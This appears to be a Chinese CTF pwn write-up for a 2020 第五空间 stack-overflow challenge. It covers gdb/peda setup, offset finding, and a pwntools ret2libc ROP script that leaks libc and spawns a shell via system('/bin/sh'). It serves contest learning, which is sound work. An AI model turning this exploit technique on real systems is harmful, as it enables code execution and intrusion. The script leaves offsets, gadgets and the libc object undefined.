共计 1759 个字符,预计需要花费 5 分钟才能阅读完成。
背景介绍
Pwn 题目在 CTF 比赛中占据重要地位,主要考察选手对二进制程序漏洞的发现和利用能力。这类题目通常涉及内存破坏漏洞(如栈溢出、堆溢出等),通过精心构造的输入数据来控制程序执行流,最终实现获取系统权限的目标。掌握 Pwn 技能不仅对竞赛有帮助,也是实际安全工作中漏洞分析的基础。

题目分析
本次分析的题目来自 2020 第五空间智能安全大赛,是一个典型的栈溢出漏洞。程序的基本功能是接收用户输入,但由于未对输入长度进行严格限制,导致栈上的缓冲区可以被覆盖,从而控制函数的返回地址。
通过逆向分析可以发现:
- main 函数中存在一个固定大小的字符数组缓冲区
- 使用不安全的 gets() 函数读取用户输入
- 没有启用栈保护机制(如 canary)
环境搭建
进行 Pwn 题目分析需要准备以下工具:
- Ubuntu 18.04/20.04 LTS(推荐)
- gdb with peda 插件
- pwntools Python 库
- checksec 工具
安装步骤如下:
-
安装基本工具
sudo apt update sudo apt install gdb python3-pip -
安装 peda
git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit -
安装 pwntools
pip install pwntools
漏洞利用
1. 确定偏移量
首先需要确定输入缓冲区到返回地址的偏移量。可以通过以下方法:
- 使用 pattern_create 生成测试字符串
- 在 gdb 中运行程序并输入测试字符串
- 查看崩溃时的 RSP 值
- 使用 pattern_offset 计算精确偏移
2. 构造 ROP 链
由于题目开启了 NX 保护,我们需要使用 ROP 技术来绕过。基本步骤:
- 泄露 libc 地址
- 计算 system 和 /bin/sh 的真实地址
- 构造执行 system(“/bin/sh”) 的 ROP 链
3. 完整利用流程
- 发送第一阶段 payload 泄露 libc 地址
- 解析泄露的地址
- 计算所需函数地址
- 发送第二阶段 payload 获取 shell
完整利用代码
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
# 本地测试
p = process('./vuln')
# 远程连接
# p = remote('target.ip', port)
# 第一段 payload: 泄露 libc 地址
payload1 = b'A'*offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload1)
# 解析泄露的地址
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leak - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
# 第二段 payload: 获取 shell
payload2 = b'A'*offset + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload2)
p.interactive()
避坑指南
在漏洞利用过程中容易遇到以下问题:
- 偏移量计算错误
-
解决方法:使用 pattern 工具精确计算
-
地址对齐问题
-
解决方法:添加 ret 指令调整栈对齐
-
libc 版本不匹配
-
解决方法:使用题目提供的 libc 或通过多次泄露确定版本
-
本地通但远程不通
- 解决方法:检查网络环境,确认远程 libc 版本
扩展思考
- 如果题目开启了 FULL RELRO 保护,该如何绕过?
- 在 ASLR 开启的情况下,如何通过信息泄露构造稳定的 ROP 链?
推荐资源
- 书籍:《漏洞战争》、《CTF 竞赛权威指南》
- 在线平台:pwnable.kr、pwnable.tw
- 工具集:pwntools、ROPgadget、one_gadget
- 博客:phrack 杂志、安全客
通过这个案例,我们系统性地学习了栈溢出漏洞的利用方法。虽然这是一个基础题目,但涵盖了 Pwn 中最核心的技术要点。建议读者在掌握后尝试更复杂的题目,逐步提升自己的二进制安全能力。
正文完
发表至: 未分类
近一天内
